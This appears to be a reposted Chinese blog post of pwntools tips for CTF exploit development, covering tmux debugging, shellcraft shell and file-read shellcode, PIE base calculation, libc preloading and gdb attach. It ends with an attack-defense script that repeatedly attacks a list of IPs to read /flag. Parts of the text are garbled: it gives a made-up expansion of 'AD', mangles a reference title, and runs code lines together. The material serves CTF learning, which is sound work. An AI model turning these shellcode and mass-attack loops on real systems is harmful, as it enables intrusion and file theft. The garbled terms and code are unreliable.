博客
关于我
pwntools编写技巧
阅读量:569 次
发布时间:2019-03-11

本文共 3583 字,大约阅读时间需要 11 分钟。

在最近的几次比赛中,我学到了很多用pwntools编写EXP时的小技巧。这些知识让我在EXP开发过程中更加高效和得心应手,尤其是在利用TMUX进行多屏调试时,工作效率得到了显著提升。

一、利用TMUX多屏调试

TMUX是一款终端复用软件,能够在同一个终端窗口中创建多个虚拟终端。这对于我们进行调试非常有用,特别是在使用带有图形化界面的虚拟机时,因占用资源过多而难以使用时,可以选择通过配置一台纯终端服务器进行调试。在这种情况下,我们需要使用TMUX进行多屏调试。以下代码可以自动创建一个窗口来调试:

context.terminal = ['tmux', 'splitw', '-h']

调试时,这段代码会将GDB调试内容分为两个窗口,这样我们可以分别进行查看和操作。

二、指定运行环境

在Python代码中,context模块允许我们指定运行环境的参数。例如,可以指定运行环境的架构(如AMD64)和操作系统(如Linux),从而方便调用pwntools自带的工具生成shellcode。默认情况下,只要在context中指定了osarch,就可以直接调用相应的shellcraft函数,不需要像shellcraft.amd64.linux.sh()那样长阶跃地指定。

shellcraft.sh()

这个函数会生成针对当前osarch的一段可以获取shell的shellcode。更多时候,我们应该直接从exploitdb中获取shellcode,或者手动编写自己的shellcode。例如,针对64位系统,只需将rdi指向一个存储"/bin/sh\x00"的指针,然后将rsi, rdx置为0,最后设置rax为0x3b,调用syscall即可。

shellcraft.pushstr()

这个函数生成的shellcode可以用来将指定的字符串推送到栈上。由于这种操作需要对栈空间有深入了解,进行调试时需要多次尝试才能实现成功。

shellcraft.cat()

这个函数简化了读取指定文件的过程,使用open()read()write()的组合实现功能。相比手写shellcode,使用这个函数会更高效且不易出错。

三、开启了PIE的地址计算

在进行PIE(随机地址空间_LAYOUT)环境下的调试时,我们需要动态获取程序的基址。以下函数可以帮助我们实现这一目标:

def debug(addr, PIE=True):    if PIE:        text_base = int(os.popen("pmap {}| awk '{{ {print $1}}}'".format(p.pid)).readlines()[1], 16)        gdb.attach(p, 'b *{}'.format(hex(text_base + addr)))    else:        gdb.attach(p, "b *{}".format(hex(addr)))

这个函数根据PIE的设置,获取程序的基址,并结合相对地址 attach 调试。不过,手动计算基址也可以通过以下方法实现:

def get_proc_base(p):    proc_base = p.libs()[p._cwd + p.argv[0].strip('.')]    return proc_base

四、不同libc加载库的选择

在开发EXP时,libc的版本和加载方式会影响程序运行。我们可以通过不同的方法指定libc的加载路径:

p = process('./elf')  # 使用系统默认的libcp = process('./elf', env={'LD_PRELOAD': './libc.so.6'})  # 指定特定的libc版本p = process(pwn_file)  #Starctf2019中的方法

这样,我们可以灵活地选择不同版本的libc进行调试和EXP开发。

五、Attach方法

在使用gdb进行远程调试时,可以通过以下方式 attach 到目标程序:

gdb.attach(p, cmd)

这里的cmdgdb在attach后会执行的命令序列。如果需要多行命令,可以通过添加换行符实现:

cmd = "b main\nset $a = 0x8048000\n"gdb.attach(p, cmd)

需要注意的是,gdb attach 后程序并不会停止运行。为了确保后续的Python代码不会被调用,我们通常会使用pause()函数过渡到断点调试模式。

六、AD模式

在一些比赛中,可以利用AD(indirect Acquisition Disarm)模式要求提交flag。我们可以开发一个EXP,自动提交flag到指定的URL,并填写自己的token。以下是一个示例:

from pwn import *context.arch = 'amd64'context.log_level = 'debug'def debug(addr, PIE=True):    if PIE:        text_base = int(os.popen("pmap {} | awk '{{ {print $1}}}'".format(p.pid)).readlines()[1], 16)        gdb.attach(p, 'b *{}'.format(hex(text_base + addr)))    else:        gdb.attach(p, "b *{}".format(hex(addr)))def main(host, port=16957):    global p    if host:        p = remote(host, port)    else:        p = process("./pwn")        debug(0x00000000000739D)        code = [        "string readfile(string name)",        "string lnk(string src, string dest)",        "string print(string x)",        "lnk('/flag', '/tmp/y)",        "print(readfile('/tmp/y'))"    ]        p.recvuntil("size: ")    send_size = str(len(code) + 2)    p.sendline(send_size)    p.recvuntil("Give me your script (same size): ")    p.sendline('\n'.join(code))        try:        response = p.recvuntil('\n', timeout=0.5)        flag = response.decode().strip('\x00')        print(flag)        p.close()        return flag    except Exception:        print('bad_luck')        p.close()    finally:        p.interactive()if __name__ == '__main__':    with open('ip.txt', 'rb') as f:        ips = [ip.strip() for ip in f.readlines()]        while True:        for ip in ips:            try:                flag = main(ip)                print(flag)                # ... 自动提交flag到远程接口 ...            except Exception as e:                print(e)        sleep(30)

这个EXP通过读取IP列表,逐一尝试攻击,自动提交flag到指定接口,是一种常见的AD模式解决方案。

参考文章

  • t1an5t师傅的文章
  • x́t superb Portable Shellcode G restrained Technique (PST)

转载地址:http://ofevz.baihongyu.com/

你可能感兴趣的文章
qt问题记录-spin box与double spin box
查看>>
移动端事件
查看>>
css 图片按比例缩放
查看>>
小程序form表单里面buton点击事件失效
查看>>
微信小程序placeholder设置自定义样式
查看>>
安装npm install --save vue-scroller失败
查看>>
spring-day01
查看>>
spring的值注入与组件扫描
查看>>
【leetcode】349. 两个数组的交集(intersection-of-two-arrays)(哈希)[简单]
查看>>
C#跨窗体程序调用方法的具体操作
查看>>
C#中创建Android项目
查看>>
统计学之变异系数与是非标志
查看>>
关于继承的一些基本知识
查看>>
如何批量下载新浪微博相册,一键下载微博相册原图
查看>>
抖音发布黄金时间段,抖音上热门最佳时间
查看>>
我的图床~
查看>>
MySQL 实战 45 讲笔记 | 事务隔离和 MVCC
查看>>
Thymeleaf sec:authorize 标签不生效
查看>>
js回车键登录
查看>>
Iterable与Iterator
查看>>